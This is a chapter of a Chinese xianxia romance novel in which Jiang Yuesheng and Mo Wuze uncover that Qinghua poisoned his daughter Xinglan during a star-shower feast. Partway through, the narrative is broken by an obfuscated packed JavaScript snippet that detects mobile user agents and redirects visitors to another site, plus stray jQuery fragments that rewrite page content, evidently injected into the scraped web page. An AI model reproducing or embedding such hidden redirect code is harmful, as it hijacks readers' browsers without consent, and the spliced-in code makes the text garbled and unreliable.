星陨这天，江月笙早起出了门。


    目的地不远，就在隔壁，她却是走得腿脚发酸，到了门口，又免不了踌躇犯难。


    墨芜泽所居岐渊殿，看样子是比茉疏宫大了不止一点半点，墙内梧桐参天，门前满阶梧叶。


    据说曾经岐渊殿门前常有天兵把手，更有几波仙侍轮流打扫，不许一片梧叶残留，自废太子后，便冷清了许多。


    江月笙给自己打气，为了星岚，昂起胸膛嚣张豪放地去锤门。


    “你在做什么？”


    厚实的大门震得手臂发麻，江月笙循声回头，墨芜泽站在她身后，不知看了多久。


    她抱臂，暗自揉腕，开口：“星岚叫我唤你今晚一同赏星雨，在天河瀑布下。”


    “星岚叫你来的，还是你自作主张？”


    墨芜泽一如既往地一针见血，黑眸冷寂，质问道：“又要耍什么把戏？”


    昨日他拿着她所写的字前往冥界冥修堂，堂主翻出公主以往所抄的经书，夸夸其谈，被问及字迹为何与他相仿又支支吾吾说不出话来。


    最终只道是仰慕天界太子，对着他的笔法苦学多年。


    墨芜泽沉默，又觉好笑，冥公主的会仰慕她口中的一只狗？


    “神君您不懂，那叫物极必反、因爱生恨、欲擒故纵！”冥修堂堂主一拍掌，端得那是个抑扬顿挫，可歌可泣。


    学徒魂戳戳他的肩膀：“堂主，他走了。”


    堂主松了口气，他一时间还真没想出什么好词来夸自家公主，看了一眼丢在桌上的经书，命人收走。


    “其实那是江护卫写的经书……”学徒魂弱弱提了一句，差点被堂主锤成年糕。


    “我能不知道吗？就咱们公主那笔迹，能拿得出手？”


    ——


    墨芜泽回去的路上，晨朝撒了一身日辉。


    没有得到有用的消息，还正好与那位弦姝公主打了个照面。


    她在他的寝宫门前局促许久，才敲上大门，那点少女的犹豫和不安更加印证了堂主所言，何况一开口就是谎言。


    若是星岚要邀他，昨日便会当面约好，断不会叫她一个外人来传话。


    甚至觉得她同师尊的相处都带着不明的动机。


    犀利的目光要将人看穿，江月笙下意识地揪手指，又迅速放开，破罐破摔：“对，是我自作主张。”


    墨芜泽挪步略过她，脚下梧桐叶发出沙沙声。


    “但如果你不去，星岚会有危险。”


    “你在威胁我？”他扣紧挂在腰间的栖恻，转身瞥她一眼，透着森森冷意。


    江月笙蹙眉，坚定地对上他的视线，摇头：“有人要害星岚。”


    “证据。”他步步紧逼，压迫感袭来。


    江月笙从袖中掏出那枚机关木鸭和一块布料。


    依她所言，木鸭上被下了术，那日花垣宫祺宁公主意外落水，便是坠入水中的木鸭所制，埋下咒术的人心思缜密，如今其上的术已然消散殆尽。


    布料也是，上有异香，可使走兽发狂，同样散的快，甚至想要栽赃给春神帝君。


    “这只是你的猜想。”


    “可你会因为只是猜想而置身事外吗？”


    墨芸泽不言，看样子是动摇了，江月笙循序渐进：“你应该知道凶手是谁吧？”


    花垣宫。


    瀑布急湍飞流而下，涛浪散若星辉。


    两个小小的身影坐在瀑布脚下一处平台之上。


    脚边花草繁茂，星岚从袖中翻出一方小案，糕点果汁都摆了上去，又折一枝荧花做灯笼，缀在头顶的树枝上。


    日薄西山，夜色织罗。


    一只小手跳到案上，静悄悄偷走一块桂糖糕，却被星岚一把拍下。


    梨落鼓着小脸揉搓发疼的小手，嘟囔道：“弦姝姐姐怎么还不来啊？”


    刑曜忙于陪天后设宴，知她二人与弦姝公主相约，煞是安心。


    两个小家伙未开宴前就早早随母亲前来，一直等到星河初临，始终不见江月笙的身影。


    “大抵是被什么绊住了吧，她可不是言而无信之人。”


    梨落闻言，哼哼一声，努力挪开黏在糕点上的视线，仰头遥望天色。


    飞鸟叽喳落在繁叶间，细碎的叶间闪过天边的空青色，斑斓间投下一道刺眼的光。


    梨落视线一瞥，捂住被刺痛的双眼，去拽星岚的袖子：“阿姊，树上好像有个黑乎乎的东西，会发光……”


    星岚抬头望去，猛然同一张笑眯眯的大脸相撞，心悸一瞬，才道：“文昌帝君你真讨厌！”


    冬炀唇角弯弯，摩挲着红衣袖口的金线，掏出一包栗子糕，坐到案旁，“弦姝叫我来传话，天后娘娘唤她小叙，晚一会儿才会过来。”


    “这是她的赔礼。”冬炀瞧了一眼案上满满的糕点小盘，翻出栗子糕，眼珠一转：“不过看起来你们也不缺这一口，那我就……”


    星岚一把抢过，拿了一块递给梨落，愤愤道：“才不便宜你！”


    冬炀摆摆手，不跟小孩子计较，天边划过星雪，梨落吃得满嘴糕点屑，小手在衣摆上拍掉油屑，指向天侧。


    星陨似箭，落入坠星湖，绕出一片方圆。


    江月笙按照天规戴上面纱去赴宴。


    未出阁女子的面容不得为陌生男子所见，因她初来乍到，宫内又多为女眷，平日里不掩面无甚大碍，可这般正式的场合就容不得马虎了。


    只是江月笙不明白，戴着面纱该如何用膳。


    到了地方，瞧见席上一抹粉色，瞬间失了所有兴致。


    花神淇婳面覆白纱，左手支颐，右手握一盏琉璃觚，轻挑纱下浅酌花酿。


    粉桃色衣摆落了满地，似水的眸中荡出浅柔笑意，惹了一众的视线。


    其中自然包括江月笙，微风吹拂白纱于鼻尖漾起痒意，才惊觉眉间紧锁，心似慢舟浮沉。


    天后轻声唤她，将她招到身边，面上柔雅温和，低声道：“芸泽在前院，你且去见见。”


    自知真相以后，天后甚是心疼那个被苛待八百年的亲生骨肉，碍于仙家颜面，不敢明面表露。


    近几日知这弦姝公主虽性子要强，却是个安分守己的，还算满意，如今墨芸泽提前归来，恰逢星雨，不给他们点儿机会相见一番，实在可惜。


    是以什么中途不得离席的规矩都只当是清风过不了耳，规矩是死的，人是活的，为她指了路便将人谴去。


    “这位就是弦姝公主？真是花一般娇俏的姑娘。”


    迈出步子前一瞬，淇婳半眯着眼，眸中似有千丝缠绕，唇畔带笑。


    江月笙瞥了一眼，读不出其中是嘲讽还是夸赞，不落一语离了席，裙摆带起一片花雨。


    淇婳抬指，花瓣随风，黏在离去之人的裙角。


    坠星湖前日抽干昨日又引天水，一片澄澈，水面有锦鲤空游，似镜面倒映星月，水上空浮水榭间是天后的宴，绕着坠星湖面的灯火是前院的宴。


    前院多为男仙吃酒赏星，视角却是最好的。


    来之前她捏了个诀将衣摆上的花瓣烧干，淇婳仰慕墨芜泽多年，凡是与他有关的女子，都免不了成为她的假想敌。


    她能忌惮虚无缥缈的凡人升仙而一剑杀死她，又怎么没有胆识去针对冥公主？弦姝曾说，此人仗着得天后喜爱，于天界自是无法无天。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740273|145169||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    讲到这里时，江月笙总会低嗤一声，于凡间也是如此，带着随意掐死凡人的傲慢。


    踏过湖边繁草，夜露沾湿绣鞋，她没有去前院找人，而是直接去天水瀑布下寻星岚。


    满天繁星坠落，瀑布下一处平台上，两个小姑娘趴在小案上，似是等的累了，脑袋埋进臂弯睡了过去。


    江月笙凑上前，先看了眼睡得呼呼作响的小梨落，替她盖上外衣。


    夜风微凉，远有天水而落，落水溅荡水雾，更添了凉意。


    她又为星岚扯一件外衣，抬眼望见殷色案几上漫着似水般的液体，旁边是倾倒的杯盏，浸湿她送的栗子糕和女孩的衣袖。


    她俯身去拍星岚的肩膀，半晌不得回应，意识到什么，颤着手将她拥起，女孩面色苍白，若非唇角洇出血迹，更像是安然地睡着了。


    江月笙几番尝试，终是抬不起手去探她的鼻息，引仙气欲往小小冰冷的身体里输送。


    风声打叶，一道剑气呼啸而来，江月笙抱着星岚俯身躲开，剑气敲在银钗之上发出铮鸣，如墨长发散了一身。


    断发隐入繁草，抬眼望见一双黑靴落在眼前，篆刻花纹，矜贵冷肃。


    “你对我的女儿做了什么！？”


    厉呵令她背脊一颤，散杂的发丝落在面上，覆面白纱沾染血迹，狼狈不堪。


    她仓惶地站起身，又是一道剑影擦身而过，跌倒撑地，草茎间尖锐的砂砾刺了手，随着青华的紧逼步步后退。


    她想解释，解释自己来晚了，没有目睹真相，没有护住星岚。


    可到嘴边又蹦不出一个字，男人的面目几近狰狞，丧子之痛使手间长剑失去压制，犀利的招式一击接着一击，击击致命。


    江月笙不知哪里来的力气，竟是都接连躲开来。


    “你竟敢杀害我的女儿！”


    神压威迫，江月笙被压的喘不过气，匍匐在地，喉头腥甜，宛如即将被捏碎的瓷片。


    “是我杀的，还是你呢？”


    话语几近破碎，却教青华握剑的手一顿。


    破绽一瞬，她自袖中摸索着什么，意料之外的破空声落下，栖恻落光，一抹白影似星陨，擦着夜风落下，灿然剑光破风而至，攻向青华。


    剑刃碰撞，铮铮嗡鸣。


    “你来早了！”江月笙抱怨道，手中拿着一枚黑乎乎的东西。


    墨芜泽不知道这个时候她掏出一枚炭块有何用，却知按计划，自己本不该现在出手，但方才神压逼迫下，冥公主匍匐挣扎的身影使他心头一颤。


    似有一双手无形地揪住心脏，难以呼吸，眼前的少女与多年前那个坚韧而立的身影重叠，他下意识地握紧栖恻，却发现这次无论如何都压不住那股冲动。


    如果十三年前，他没有压住心头颤动，或许早该不是这般狼狈无能。


    思绪回归时，已然将青华押在手下，男人奋力挣扎，不可置信道：“墨芜泽，星岚是你恩师的女儿！你要因此包庇一个相识不久的未婚妻吗！？”


    “吾不会包庇任何人。”说着，手下又按紧了他的脖颈。


    青华的脸压着草根，鼻尖是潮湿的青草味，泥土间有积年累月的土腥味，露水沾湿满脸，越挣扎越难受，最终只能放弃。


    “你也看见了，她杀了星岚，杀了我的女儿！”青华满目猩红。


    “吾看见了。”墨芜泽擒着他，星眸冷厉：“你杀了星岚。”


    “胡说八道！哪儿有人会杀自己的亲生女儿？”


    “因为你觉得星岚不是你的女儿。”江月笙开口，颤颤巍巍地站起身：“因为你怀疑魔尊当年攻上天界不是为了夺权，而是为了战神娘娘。”